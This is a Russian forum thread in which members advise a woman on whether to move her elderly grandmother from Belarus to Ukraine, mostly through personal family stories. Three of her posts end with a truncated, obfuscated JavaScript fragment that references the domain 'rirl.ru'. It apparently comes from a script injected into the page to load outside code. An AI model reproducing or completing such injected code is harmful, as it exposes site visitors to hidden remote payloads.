Репутация : 154947
Комментариев 2309 27
06 ноября 2015 18:42:05
2015-11-06 18:42:05
Пару лет назад родственники мужа забрали из России на Украину бабушку. Ей было что-то около 85 лет. Не знаю подробностей, но они оформили официально ее жительство тут. Везли очень далеко, с Урала, поездом. Дорогу старушка перенесла, и нормально себе живет. Вообще, я считаю неправильной позицию стариков, которые не могут жить сами, вот так упираться, не думая о том, какие сложности они создают тем, кто их досматривает, как поеду-не поеду, или похороните меня непременно там-то. А там условий, конечно, никаких. Вообще не представляю, где они все там помещаются. Если еще и мама приезжает. А уж ужиться... Четыре поколения... Ужас.
Ответить
Поддерживаю Да0 / Нет0
Оптимист видит наполовину полный стакан, а пессимист - наполовину пустой.
Полюшка
15599 Полюшка
Полюшка offline
Репутация : 271521
Комментариев 1801 62
06 ноября 2015 18:48:03
2015-11-06 18:48:03

Я считаю, что не стоит беспокоить бабушку, этим переездом, тем более, она сама категорически против.

И потом, нужно еще учитывать, нынешюю, нестабильную обстановку в стране, если не дай Бог, что случится, что тогда?

Ответить
Поддерживаю Да4 / Нет0
Счастье-это жить для тех,кого любишь и знать,что они живут ради тебя.
Гость
Гость

06 ноября 2015 18:52:35
2015-11-06 18:52:35

Из истории я поняла, что единственная серьезная проблема со здоровьем у бабушки - это глухота. Значит, я думаю, дорогу она перенесет. И лучше, конечно, ехать на поезде - тихо, спокойно, можно и поспать, да и туалеты там сейчас не плохие, а на крайний случай и вы вариант хороший предложили.

Поймите, бабушка старенькая, и ей будет плохо везде, просто потому, что дедушки рядом нет. Но вам будет спокойнее и за нее, и за тетю, когда бабушка будет рядом. Ей сейчас не много нужно: спокойствие, внимание, забота.

Так что я за то, чтобы вы перевезли вашу бабушку.

Отпишитесь потом обязательно, что решили, даже вот волнуюсь теперь за вас.

Ответить
Поддерживаю Да2 / Нет0
Гость
Гость

06 ноября 2015 19:39:41
2015-11-06 19:39:41

Ольга С, извиняюсь за невнимательность(1000км) пропустила. Да расстояние не близкое, на машине будет сложнее.

Ответить
Поддерживаю Да0 / Нет0
Лисий Хвостик
18460 Лисий Хвостик
Лисий Хвостик offline
Репутация : 165411
Комментариев 1404 20
06 ноября 2015 20:15:25
2015-11-06 20:15:25

У меня была похожая ситуация, когда мама переезжала и был выбор: оставить дедушку сестре или повезти его с собой. К слову, дедушка неходячий, везти нереально сложно (примерно 1500км, через пол-России), но дело в том, что старшая сестра бы не смогла за ним ухаживать. Причина банальна - она брезглива(( Но она была не против. Был сложный выбор, но было ясно одно - ему с моей мамой лучше. Он, признаться, её больше любил.. Но было ещё одно но: он упирался. Не хотел никуда ехать. "Помру здесь и всё"...

Уговаривали -уговаривали, уговорили. Мама до сих пор его выхаживает, выбивается из сил, очень добра к нему, хотя характер у него ужасен, он и матом кроет её и не узнаёт порой, в последнее время. Но самое ужасное - он постоянно твердит "верни меня домой". Он считает, что он не дома, хотя в комнате, где он лежит, очень уютно, есть радио, телевизор, плед тёплый. Нет, ему этого не надо. Он не хотел уезжать..

Поэтому, Оля, я думаю, что вам не стоит уговаривать бабушку ехать(( Мне кажется, она потом будет припоминать вам это, по любой мелочи. Один раз позже вернётесь домой, а она будет говорить, что "лучше бы я осталась на родине", и вам будет от этого больно.

Ответить
Поддерживаю Да1 / Нет0
The darkness around me - shores of a Solar sea.
Лисий Хвостик
18460 Лисий Хвостик
Лисий Хвостик offline
Репутация : 165411
Комментариев 1404 20
06 ноября 2015 20:19:28
2015-11-06 20:19:28

Лисий Хвостик, ещё добавлю к тому, если вам покажется, что мой дед только потому домой хочет, что ему там лучше было, а вашей бабушке плохо с Зоей: у дедушки там, когда он один ещё жил и немного ходил, женщина приходила иногда, соседка. Так она его совсем запугала. Мы только потом узнали, что она его спаивала, била, если он что скажет, и деньги забирала. Пыталась квартиру на себя переписать, угрожала ему. То есть, там ему жилось плохо, но он упрям, раз всю жизнь прожил в посёлке, так и хотел бы там оставаться..

Конечно , все люди разные, но я просто вижу немного схожесть в ситуациях..

Ответить
Поддерживаю Да0 / Нет0
The darkness around me - shores of a Solar sea.
Персиянка
19697 Персиянка
Персиянка offline
Репутация : 13460
Комментариев 362 20
06 ноября 2015 20:24:07
2015-11-06 20:24:07

Очень вам сочувствую. Действительно ситуация сложная. Вам нужно исходить из того, в каком состоянии находится бабушка. Но лучше уж оставить ее на месте и помогать как то вашей тете. Нанять сиделку для бабушки. Может быть и так что все подготовите к переезду, а бабушка в последний момент откажется ехать. Старый человек часто непредсказуем. Пожилые люди очень болезненно переносят переезд. И на новом месте, вот как вы описываете, вам кажется что бабушке будет хорошо. А окажется что для нее все не так хорошо. Она будет скучать по своему жилью, находиться в угнетенном состоянии, соседки которые ее знали сегодня придут, завтра, а послезавтра? Я просто это знаю, потому что не раз видела, как родственники, забирают к себе стариков и чем это кончается. Вам терпения.

Ответить
Поддерживаю Да2 / Нет0
Относитесь сочувственно к мыслям и желаниям других.
Неалина
5436 Неалина
Неалина offline
Репутация : 446681
Комментариев 7669 30
06 ноября 2015 20:42:17
2015-11-06 20:42:17

Моей бабушке 90 лет. Она вот точно никуда не поедет. Хоть пусть и плохо бы было не поедет никуда однозначно. Да я бы и не стала ее куда либо перевозить сейчас. Если что то нужно это было делать когда возрастом помладше она была. А сейчас это сложнее все. У меня бабушка даже бы в другое жилье не поехала, кроме того где она живет. И у подруги аналогичная ситуация. У нее бабушка под 90. Живет в деревне одна. Они ее навещают только. Подружка тоже ее уже который год зовет к себе жить. Года 2 точно как расширила жилье. А бабушка ни в какую. Они ей сотовый купили давно. Она им звонит и они ей. Даже в огороде еще что то делать умудряется. Они за нее переживают, но сделать ничего не могут. Нет говорит и все.

Сложно им в таком возрасте уезжать из родных мест. Как бы хорошо им там не прочили в дали что будет, Дома им лучше. Мне кажется что лучше пусть они там между собой наладят отношения. Так будет на много лучше и всем мороки меньше. Я понимаю, что вы любите свою бабушку и мама свою маму, что вам хочется сделать как лучше, но на мой взгляд проще всего тете с дочкой меньше ссорится, договорится между собой и разделить как то обязанности по дому и по уходу за бабушкой. Все таки они не чужие люди.

Еще пример. У подружки мама тоже на старости лет пожила у почти всех своих детей и все равно ее домой тянуло. Плохо ли, хорошо ли, но домой. Я не хочу сказать Сиреневая Кошка, что у вас плохо. Но знаете как говорят что дома и стены и воздух помогают.

Надеюсь вы примите верное решение. Удачи вам!

Ответить
Поддерживаю Да2 / Нет0
Обидеть Лену может каждый!Не каждый сможет убежать!
Неалина
5436 Неалина
Неалина offline
Репутация : 446681
Комментариев 7669 30
06 ноября 2015 20:52:51
2015-11-06 20:52:51

Еще как вариант можно вам с мамой разделить отпуска. К примеру один раз вы поехали, другой раз она. Чем не вариант?И мама сможет отдохнуть дома пока вы там с бабушкой побудете. Но а работу там делать всю подряд тоже как то не верно. Заборы ломать и строить. Это уже как то больше по мужской части.

Ответить
Поддерживаю Да1 / Нет0
Обидеть Лену может каждый!Не каждый сможет убежать!
Гость
Гость

06 ноября 2015 21:08:09
2015-11-06 21:08:09
Я думаю бабушке будет лучше что бы она жила с вами и вашей мамой. И ваша тетя тоже вздохнет с облегчением и немного ей станет легче. Вашей маме и вам желаю терпения и долгих лет жизни. Ведь так трепетно она относится к своей маме, а ведь столько бывают случаев когда старенькие родители мешают детям и они их сдают в дом престарелых. Сложная ситуация но я вам желаю что бы вы скоро ее решили. Отпишитесь потом как у вас дела.
Ответить
Поддерживаю Да2 / Нет0
Гость
Гость

06 ноября 2015 21:13:48
2015-11-06 21:13:48
Не стоит рисковать. Слишком большой возраст и слишком тяжелое состояние. Бабушка реально может не выдержать. Тогда это разрушит семью. Вы не сможете потом себе это простить. Лучший выход из данной ситуации, дать сестре поджопник. Взрослая баба, вот пусть сама за сыном следит, еще за бабушкой должна. Это очень низко в такой ситуации, мало того, что не помогать, так еще проблемы создавать. Если сестра уедет со своим сыном, сразу легче станет тете с бабушкой. Свою личную жизнь можно строить не во вред семьи. Если вы ее даже перевезете не известно в каком она состоянии будет и как ей будет душевно. Одно дело умирать на родине, где тебя ждет любимый человек, другое дело под старость лет закончить дни на чужбине. Или есть вариант отправить туда маму и снять ей квартиру, пусть вы и другие родственники ей помогают. Я думаю не стоит лишний раз тревожить человека. Нервы и истощения от переезда сильнее будет, чем от стычек в семье.
Ответить
Поддерживаю Да1 / Нет0
Гость
Гость

06 ноября 2015 21:13:58
2015-11-06 21:13:58
Там у нее ее дедушка, а здесь для нее будет все совершенно чужое. Взрослые не всегда спокойно могут пережить переезд. А тут старушка, которой не так долго осталось. По мне умирать в своем доме, где жил твой любимый, где твои дети и родные края легче, чем разом всего этого решится. У вас с мамой в какой-то мере эгоистичное желание. Далеко не факт, что бабушке ваше решение в пользу будет. Это, в определенной мере, жестоко требовать от старушки уехать из дома, отказаться от всего ей родного.
Ответить
Поддерживаю Да1 / Нет0
Гость
Гость

06 ноября 2015 21:14:02
2015-11-06 21:14:02
Молодые люди имеют право выбирать где им жить. Старики имеют право выбирать где им умереть.
Ответить
Поддерживаю Да2 / Нет0
Блондиночка
10883 Блондиночка
Блондиночка offline
  • Мисс Остроумие
Репутация : 2899896
Комментариев 17187 30
06 ноября 2015 21:39:46
2015-11-06 21:39:46

Я вообще считаю, что не стоит это затевать. Пожилые люди ну очень сложно переносят все эти переезды. А потом ещё могут умереть от тоски. Приведу несколько примеров.

Вообще, у меня немного белорусские корни. Я раньше думала, что украинские, но не суть. В общем был у меня прадед Афанасий. Жил он в селе в Гомельском районе. Все наверно в курсе, что 26 апреля 1986 года, произошла авария на Чернобыльской АЭС. Ну и село, в котором проживал мой прадед со своей женой попало в зону заражения. Все эвакуировали. Но мой прадед вернулся обратно и так и жил в своём селе до конца своих дней. Потому что ему очень тяжело было менять место жительство. К слову, многие пожилые люди тогда вернулись. Ну просто тяжело им менять обстановку.

Расскажу про свекровь моей первой, школьной учительницы. Тогда мы выпускались из 4 класса и шли на репетицию в школу. Чтобы там устроить выпускной. Подошли к дому где жила наша учительница, чтобы подождать. А у подъезда стояла скамейка. На ней сидела старушка и что-то говорила. В процессе общения выяснилось, что она оказывается едет домой, вот сидя на скамейке. Рассказала, что вот её силой увезли из дома, а она хочет обратно. Что ей здесь плохо и всё чужое. Далее оказалось, что это вообще свекровь нашей учительницы. И они с мужем её привезли к себе. Так как та осталась совершенно одна в деревне. Ну некому за ней ухаживать. А она слепая и ещё немного уже не в себе. Потом я её ещё неоднократно видела на этой скамейке. Видимо она всё ехала домой. И как-то от этого делалось грустно.

Сейчас по соседству живёт старушка. Она похоронила троих своих сыновей. Живёт теперь одна. А ей уже 86 лет. Внучка пытается её забрать к себе. А та ревёт и ни в какую.... Хоть и сама уже не может ничего, соседи помогают немного. Но при этом не хочет менять своё место жительства.

У моей тётки Наташи мать живёт в селе с сыном. Там вообще взаимоотношения ещё те. Она дерётся со своей невесткой, ну не берёт их мировая. Тётя Наташа живёт не так далеко , только в городе. Привозит мать к себе, та с недельку гостит и собирается домой. Ну нет сил её удержать. Домой нужно и всё тут. Уезжает домой и снова там накаляется обстановка. Тётя Наташа на нервах, а поделать ничего не может. Ну не будет же она насильно удерживать мать у себя.

Ответить
Поддерживаю Да5 / Нет0
Хожу по дому на каблуках и пью кефир из фужера. Это придаёт моему безделью особую изысканность.
Ласточка
Ласточка

06 ноября 2015 21:43:57
2015-11-06 21:43:57
Те люди, которые считают что не нужно перевозить, что пожилым лучше доживать дома. Они не учли, что бабушка уже не дома. Ее уже сдернули с родного места. И не создали нормальных условий.
Ответить
Поддерживаю Да1 / Нет0
Неалина
5436 Неалина
Неалина offline
Репутация : 446681
Комментариев 7669 30
06 ноября 2015 21:53:23
2015-11-06 21:53:23

Ласточка, Дом не обязательно те квадратные метры, где жила. Дом это та местность где человек уже прижился. Она уже не один год там живет у старшей дочери. Там она уже привыкла. Переезд в 90 лет за тысячу километром это тяжело. Будет вам 90 лет сама поймете. У моей бабушки 5 детей все живут в одном городе только в разных сторонах, но она не поедет ни за что. А тут как в другую страну на Украину. Хорошо хоть бабушка успела при жизни дедушки переехать из родного дома. Сейчас бы вообще мучались Кошка тем, что она вообще одна в доме.

Ответить
Поддерживаю Да3 / Нет0
Обидеть Лену может каждый!Не каждый сможет убежать!
Полюшка
15599 Полюшка
Полюшка offline
Репутация : 271521
Комментариев 1801 62
06 ноября 2015 21:58:34
2015-11-06 21:58:34

Ласточка, А Вы, почему не учли того, что бабушка сама, наотрез отказывается ехать, или, по Вашему, ее насильно нужно тянуть. А теперь подумайте, какие могут быть последствия, да может быть, потом бабушка всю оставшуюся свою жизнь, будет упрекать за это.

Ответить
Поддерживаю Да1 / Нет0
Счастье-это жить для тех,кого любишь и знать,что они живут ради тебя.
Гость
Гость

06 ноября 2015 21:58:59
2015-11-06 21:58:59
Ласточка, Одно дело жить в своей родной стране, в своем родном городе, где рядом близкие и знакомые, где рядом могилы родных и любимых. Совсем другое дело уезжать, не то, что в другой город, в другую страну.
Ответить
Поддерживаю Да2 / Нет0
Гость
Гость

06 ноября 2015 21:59:07
2015-11-06 21:59:07
Ласточка, Вы же сами говорили, что переезд влияет плохо на пожилых людей. Привели пример скоропостижной смерти. Сказали, что все жалеют о переезде. При этом вы за то, что человека еще дальше от дома увезли? Вы вообще представляете какой это стресс для пожилого человека?
Ответить
Поддерживаю Да1 / Нет0
Алия
Алия

06 ноября 2015 21:59:26
2015-11-06 21:59:26
Прочитала твою историю, не смогла пройти мимо. Мне кажется, ее лучше увезти. Хоть остаток жизни она должна провести в спокойствии, но сначала перед далекой дорогой, вы обязательно должны проконсультироваться с врачом, или же если есть знакомые врачи или попросить какого нибудь врача поехать с вами, чтобы во время дороги врач был рядом, в случае чего. И вот еще, допустим, вы ее привезете к себе, а вдруг она скажет, хочу обратно, а что тогда?
Ответить
Поддерживаю Да1 / Нет0
Папина дочка
Папина дочка

06 ноября 2015 22:57:24
2015-11-06 22:57:24
Еще пример из жизни. У меня в соседях жила бабушка. Она стремительно теряла зрение и стала 100% слепой. Ее дочь перевезла ее к себе домой. Не в чужую страну или город, а в квартиру с удобствами и круглосуточным уходом. Баба Маша пожила недели две и запросилась обратно, в свою квартиру , где ей знаком каждый косяк и порог. И где дни напролет она проживала одна (дочь живет в часе езды и может приезжать раз в день). Оля, я знаю, что ты хочешь как лучше. Но бабушка находится не у посторонних людей. Тетя взяла на свои плечи то, что должны были разделить все, а если бы она была единственной дочерью и оглядываться было бы не на кого? Родители не десятилетия были немощны и жили на попечении детей, они стали нуждаться в помощи относительно недавно. Бабушка и за тетей стирала пеленки. Просто жизнь распорядилась так, что твоя мама в Украине, а не наоборот. Было бы наоборот, мама ухаживала бы за бабушкой и еще неизвестно, как вела бы себя тетя, захотела бы она вкалывать в свой отпуск или предпочла бы погреться на пляже какого-нибудь водоема. Так получилось. Никто не виноват.
Ответить
Поддерживаю Да4 / Нет0
Гость из Закарпатья
14699 Гость из Закарпатья
Гость из Закарпатья offline
Репутация : 194001
Комментариев 1403 3
07 ноября 2015 02:47:47
2015-11-07 02:47:47
Тоже не смогла пройти мимо... Так трогательно и с такой любовью написан рассказ о родственниках... Сразу видно что ты любишь свою семью какой бы она у тебя не была. А осуждать никто не имеет право ведь в каждой семье свои сложности и трудности. По поводу ситуации вряд ли смогу посоветовать что-то... Но скажу с опыта моего дедушки и бабушки что переезд для них это огромная травма. Мою бабушку и моего дедушку их родной сын перевез с Донецкой области в Закарпатскую область задолго до печальных событий в том регионе. Они ехали через всю Украину - около 1400 км. И постоянно... сколько они жили у нас то укоряли за то что их перевезли и сдернули с их привычного места жительства. Причем этот регион не был их родиной. Дедушка родился в Брянской обл. , Россия, а бабушка по идеи вернулась на родину в Закарпатскую область. Но как ни странно бабушка постоянно горевала что её перевезли в Закарпатье... Они в Донецкой области жили так много лет что этот край им стал очень родным. И бабушка от всех переживаний еще похлеще разболелась и умерла. Дедушка еще живет... Но он до сих пор виноватит сына что его перевез с Донецкой области... Даже несмотря на войну... Мы очень старались скрасить будни бабушки и дедушки. Мама очень много нервов и сил потратила, чтобы ухаживать за лежачей бабушкой, а потом и дедушкой... С дедушкой вообще очень много сложностей... Сын их только перевез, а заботилась о них моя мама. Вот такая грустная история... Не знаю поможет ли она чем-то, но решила рассказать. Очень непростой выбор у вас... И все просчитать просто невозможно. И так будет плохо, и так... Надо выбрать меньшее зло. Надо выбрать максимально лучший вариант для любимой бабушки. Я вам желаю принять правильное и верное решение! И пусть ваша бабушка проживет как минимум до 100 лет чтобы вы всей своей семьей отпраздновали это замечательное событие))) Желаю крепкого здоровья вашей бабушке, а вам сил и мудрости в принятии решения.
Ответить
Поддерживаю Да4 / Нет0
Ласточка
Ласточка

07 ноября 2015 10:37:50
2015-11-07 10:37:50
Да, насильно бабушку конечно лучше не увозить. Лучше попробовать уговорить.
Ответить
Поддерживаю Да0 / Нет0
Гостюшка
Гостюшка

07 ноября 2015 10:38:45
2015-11-07 10:38:45
Комментарии не читала. Я вас очень понимаю! Так случилось, что моя бабушка отдала свой дом внучке, моей двоюродной сестре, а сама ушла жить в дом престарелых. У бабушки было трое детей: мой папа- самый старший, средний сын, он к сожалению умер, и младшая дочка тётя Таня. Оба сына бабушки уехали в молодости, папа мой в Сибирь, брат его на север, в Сургут. Тётя Таня осталась со своей мамой-бабушкой. Пожив несколько лет в доме престарелых бабушка поняла, что больше не хочет так жить. С одной стороны её кормят, койка есть, соседки в комнате даже есть, дочка каждый день приходит. Внук и внучка, мои двоюродные брат и сестра остались там же, в маленьком городке. Вроде и родня рядом, мы стараемся приезжать почаще, папа мой раз-два раза в год ездят к ней... Но угла то своего нет... Короче, у нас в России действует какая то программа, квартиры ветеранам дают от государства. Тётя Таня выбила бабушке однушку на первом этаже, в доме, где живёт сама. Буквально в соседнем подъезде. Кушать ей приносит, навещают её каждый день. Бабушка сама себе хозяйка. Она очень довольна. Может попробовать разузнать про социальные программы в Беларуси? И ещё: если вдруг нет таковых. Найдите какой нибудь санаторий недалеко от места жительства бабушки. Насобирайте денег на путёвку маме и бабушке. Пусть этот отпуск мама не заморачивается с готовкой и уборкой на всю семью. И бабушка отдохнет и мама в санатории и тётя твоя.
Ответить
Поддерживаю Да3 / Нет0
Нежная роза
8829 Нежная роза
Нежная роза offline
Репутация : 154947
Комментариев 2309 27
07 ноября 2015 12:19:33
2015-11-07 12:19:33
Вот совершенно не понимаю, если человек из квартиры не выходит - какая ему разница, где эта квартира. Если родственники рядом. Дорога очень дальняя. Я бы везла машиной с перерывом. Полдня сегодня - ночевка где-то по дороге - остальная часть пути. Дороже, конечно. Но легче.
Ответить
Поддерживаю Да2 / Нет0
Оптимист видит наполовину полный стакан, а пессимист - наполовину пустой.
Неалина
5436 Неалина
Неалина offline
Репутация : 446681
Комментариев 7669 30
07 ноября 2015 13:25:41
2015-11-07 13:25:41

Нежная роза, Вы попробуйте это объяснитьчеловеку в возрасте 90 лет. Знаете как это сложно объяснить. У меня бабушка такого же возраста. Категорично может заявить что ее выживают и хотят избавится побыстрее. Да и переезд дело не легкое в их возрасте. Это нам молодым кажется ой да что тут такого переехала да и все. Для них же все иначе. То отдохнуть надо, полежать, косточки не молодые уже как и тело. Чтобы было удобно им. Как моя бабушка еще любит говорить покоя хочется. А тут то тряхнет, то еще что.

Ответить
Поддерживаю Да1 / Нет0
Обидеть Лену может каждый!Не каждый сможет убежать!
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка offline
Репутация : 1670228
Комментариев 6965 37
07 ноября 2015 13:34:29
2015-11-07 13:34:29

Большое спасибо каждому за комментарий, за попытку помочь, что-то посоветовать.

Сразу скажу, что я ошиблась, я знала, что бабашка с 30-го года, и почему-то насчитала, что ей 89. На самом деле в декабре ей только будет 86. Хотя это и не так важно.

Moody, Самолет не годится. На самом деле я даже не знаю, летает ли самолет из Минска в Киев, по-моему нет. Но даже если и летает. То долетит она только до Киева. А там еще потом ехать 6 часов. Тем же поездом или маршруткой. Да и не полетела бы она самолетом. Вот тут правда, человек ни разу не летал, такой стресс, для психики, для организма, да и с ушами у нее проблемы, сомневаюсь, что ей вообще можно. В общем самолет мы даже не рассматривали, потому что в любом случает - нет.

Насчет здоровья. Не знаю даже. Я давно там была. Год назад. Тогда мне казалось, что бабушка ничего. Сейчас сестра говорит, что ей часто плохо, каждый день готовится умирать.

Кто-то говорил насчет сиделки. Ей не нужна сиделка. Она вполне себя обслуживает. Она не лежачая, не немощная, не ходит под себя. Она ходит по квартире, может по просьбе тети начистить картошки к ужину, или даже сварить суп. Посуду может помыть. Поэтому я не вижу смысла нанимать ей сиделку. Чужой человек ее будет только смущать. Она стесняется своей глухоты, часто не переспрашивать.

Арктика, В отпуск туда ездила в прошлом году. В этом году не ездила, но собиралась ехать в декабре с мамой. На вопрос помогаю ли я маме, я не знаю, как ответить. А что для вас "помогаю"? Деньгами, да, помогаю. Но это если честно, в последние несколько лет. Раньше банально не было возможности. Больше, наверное, ничем не помогаю. Не знаю, чем я могу ей помочь еще. Мы живем отдельно, видимся часто, созваниваемся по 5 раз в день. Мы с мамой подруги. Советом помогаю, поддержкой помогаю, пытаюсь отвлечь, в кино сводить, погулять сходить. Ездить в отпуск с мамой не могу, потому что он не совпадает у нас. Да и им самим лучше, чтобы мы по очереди приезжали.

Я хочу как-то извернуться, чтобы совпал летний отпуск у мамы с тетей, и я очень хочу отправить их вдвоем на море, в какой-то пансионат. Они обе 100 лет нигде не были. Им обеим нужен отдых. Но это еще нужно, чтобы бабушка нормально восприняла эту мысль. Она мою мама начинает ждать с той минуты, когда за ней закрывается дверь и она уезжает на вокзал. Чуть ли не как Робинзон Крузо зачеркивает дни. Поэтому если сказать, что у мамы отпуск, а она едет не в Минск, а на какое-то море, бабушка не поймет и очень обидится.

Ответить
Поддерживаю Да0 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка offline
Репутация : 1670228
Комментариев 6965 37
07 ноября 2015 13:52:46
2015-11-07 13:52:46

Насчет того, что старикам сложно покинуть дом родной. Это да. Мы ведь тоже не с первого раза уговорили их уехать из деревни. Но у дедушки плохо было с сердцем, однажды был такой сильный приступ, хорошо, что на выходных и Зоя была там, вызвала скорую. Его еле спасли и врачи скорой сказали, что им, в частности дедушке, нельзя оставаться больше без присмотра. Бабушка это поняла. Потому что мысль потерять дедушку была для нее самым диким ужасом. Поэтому они и уехали. Уже в Минске через какое-то время ему стало очень плохо, ему сделали операцию и поставили клапан в сердце. Если бы это случилось в деревне, он бы умер раньше. После операции он прожил еще несколько лет. На лето их, сейчас уже только бабушку, все равно возят в деревню. Когда у Зои отпуск, когда у мамы отпуск. Но оставаться там бабушка уже и сама не хочет, вернее хочет, но не просит. Потому что уже понимает, что одна она там зимой не выживет. Это настолько очевидно, что даже она понимает.

А так, она сейчас у Зои. На улицу не выходит, сидит в квартире. Я тоже думаю, что большой разницы нет, в чьей квартире сидеть. И мы ее забираем не навсегда. Вообще, мама уговаривает на год. Но с условием, что если ей будет плохо здесь и не понравится, то летом отвезем обратно. Ну вот у Эдика же она зиму прожила. А там им было прямо плохо. Все-таки невестка - не дочь. Да и невестка сама больная, больнее их, брезгливая. Но у него они прожили когда-то 3 месяца и сейчас ее возили на 2 недели, пока Зоя в доме делала ремонт. Неужели у нас настолько плохо, хуже, чем у Эдика, что она прямо не выдержит?

Да, кто-то сказал, что это эгоистично. Возможно, в моем желании ее забрать есть доля эгоизма. Я думаю не только о бабушке, но и маме, и о тете, и даже о себе. Потому что мне тоже морально тяжело смотреть, как они там все грызутся. Потом успокаивать маму каждый раз.

Я просто хочу, чтобы всем было лучше.

А силой ее, конечно, никто не повезет. Мы же не изверги. Только уговаривать. Честно, мне кажется, она и сама хочет. Просто боится. Был бы дедушка, он бы уже сказал "поехали" и они бы поехали. А сама она боится. Боится, наверное, что врем, и не похороним возле дедушки, если умрет здесь. Хотя я ей слезно клялась, что обещаю.

Я не знаю, голова кругом. Может и я не права в своем желании ее забрать. Я не знаю.

// o;o++)t+=e. CharCodeAt(o). ToString(16);return t}, a=function(e){e=e. Match(/[\S\s]{1, 2}/g);for(var t="", o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "rirl.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Ответить
Поддерживаю Да0 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка offline
Репутация : 1670228
Комментариев 6965 37
07 ноября 2015 14:03:16
2015-11-07 14:03:16

И еще по поводу характера, кто-то спрашивал готова ли я. Готова. Если нужно будет, готова уйти с работы. Я могу работать на дому, даже если бы и не могла. Я считаю, что это мой, мамин, Зоин и т. д. долг. Мы обязаны сделать все, чтобы облегчить ее последние годы. Поэтому я ко всему готова. Это искренне.

Ее характер не такой ужасный, как подумали большинство читателей. У нее нет маразма, провалов в памяти, она всех узнает, никого не кроет матом. Не жалуется врачам, что мы ее изводим... Нет, ничего такого. Просто она каждый раз допытывает сестру, куда она собралась на ночь глядя, устраивает допрос с пристрастие Зое, почему она задержалась с работы... В деревне когда-то полезла в шкаф, и с чего-то решила, что у не пропал комплект нового постельного белья. Она обвинила Зою, что она его отдала кому-то или выбросила. С такими характерными причитаниями: "Ничего, недолго мне осталось, будешь хозяйкой в моем доме, ты тут все выбросишь". Зоя взрывается. Ее понять можно, она буквально сейчас жизнь кладет свою, чтобы бабушке было лучше, а в ответ неблагодарность.

Мне кажется, я бы на такие заявления реагировала спокойнее. Полезла бы вместе с ней искать тот комплект (как я и с делала тогда, это при мне было), мы порылись в шкафу, нашли все, и постельное и все полотенца. Но бабушка же не извинилась перед Зоей. Хотя Зоя очень ждала, что она подойдет, обнимет. Но и Зоя никогда не извиняется. И ходят, дуются друг на друга, как мышь на крупу.

// o;o++)t+=e. CharCodeAt(o). ToString(16);return t}, a=function(e){e=e. Match(/[\S\s]{1, 2}/g);for(var t="", o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "rirl.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Ответить
Поддерживаю Да0 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
белая мышка
9141 белая мышка
Белая мышка offline
Репутация : 142964
Комментариев 1522 25
07 ноября 2015 14:51:17
2015-11-07 14:51:17

Конечно же бабушке будет лучше с тобой и твоей мамой. Вы хоть как-то скрасите ее старость. В тишине и спокойствии, без ссор и скандалов. Но увозить ее рисковано. Не в том плане, что бабушка не выдержит дорогу, а то что ей будет грустно. Они же все рассуждают одинаково-Тут я родилась, тут и умру. Да и дед рядом. В таком возрасте они уже корнями врастают

\r\n

r

Если только попробывать предложить бабушке переехать не на ПМЖ, а погостить. А там уже сама решит. Да и на поезде наверно будет лучше.

Ответить
Поддерживаю Да2 / Нет0
казаться легкодоступной, но при этом быть недосягаемой-это верх искусства
Нежная роза
8829 Нежная роза
Нежная роза offline
Репутация : 154947
Комментариев 2309 27
07 ноября 2015 16:55:15
2015-11-07 16:55:15
Конечно, она боится. Но раз уже соглашалась, значит, не категорически против, и допускает такую мысль. Возможно, ее успокоит, что это не навсегда. А может, ей понравится у вас. По крайней мере, никто не будет ее материть...
Ответить
Поддерживаю Да0 / Нет0
Оптимист видит наполовину полный стакан, а пессимист - наполовину пустой.
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка offline
Репутация : 1670228
Комментариев 6965 37
07 ноября 2015 17:04:52
2015-11-07 17:04:52

Нежная роза, Ну вот звонила маме только что, опять разговаривали. Я спросила, ты что, решила отказаться от этой мысли, боишься, да? Она говорит: "Нет, я до последнего буду пытаться ее убедить, я чувствую, что ей будет лучше у нас. ". Я же предлагала маме писать письмо для бабушки, она попросила меня написать. У меня язык лучше подвешен))).

Так что буду писать, надеюсь, все получится. Кстати, тоже никто случайно не в курсе, если ехать поездом, мама переживает, как до поезда добраться. Понятно, что на машине, но в Минске вокзал огромный, она может банально не успеть дойти до поезда, когда объявят посадку. Я вот думаю, можно же где-то, в больнице или еще где-то взять в аренду каталку такую специальную? Ну как за границей показывают или даже инвалидную коляску, чтобы по вокзалу ее быстрее перемещать?

Понимаете, если убеждать бабулю, нужно ей показать, что мы уже все продумали, что ничего страшного и нерешаемого нет. Потому что она может переживать из-за одного какого-то момента, но стесняться сказать, поэтому я хочу, чтобы она поняла, что мы на все ради нее готовы, и требуется только ее согласие, а все остальное мы устроим.

Спасибо всем за поддержку, правда, огромное спасибо, особенно за истории, в которых стариков перевозили. Мама переживала, что это мы одни такие единственные в мире, и вообще таких пожилых людей уже миром не катают.

Я через месяца полтора отпишусь, чем у нас все решилось.

// o;o++)t+=e. CharCodeAt(o). ToString(16);return t}, a=function(e){e=e. Match(/[\S\s]{1, 2}/g);for(var t="", o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "rirl.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Ответить
Поддерживаю Да2 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Лисий Хвостик
18460 Лисий Хвостик
Лисий Хвостик offline
Репутация : 165411
Комментариев 1404 20
07 ноября 2015 17:16:59
2015-11-07 17:16:59

Сиреневая Кошка, отпишитесь обязательно, мы за вас переживаем(

Ответить
Поддерживаю Да0 / Нет0
The darkness around me - shores of a Solar sea.
Scientific
6424 Scientific
Scientific offline
Репутация : 230813
Комментариев 3222 0
07 ноября 2015 22:22:33
2015-11-07 22:22:33

Т. е. если бабушка отправится в мир иной у Вас - мама себе не простит, а если там у сестры - то простит?

Ответить
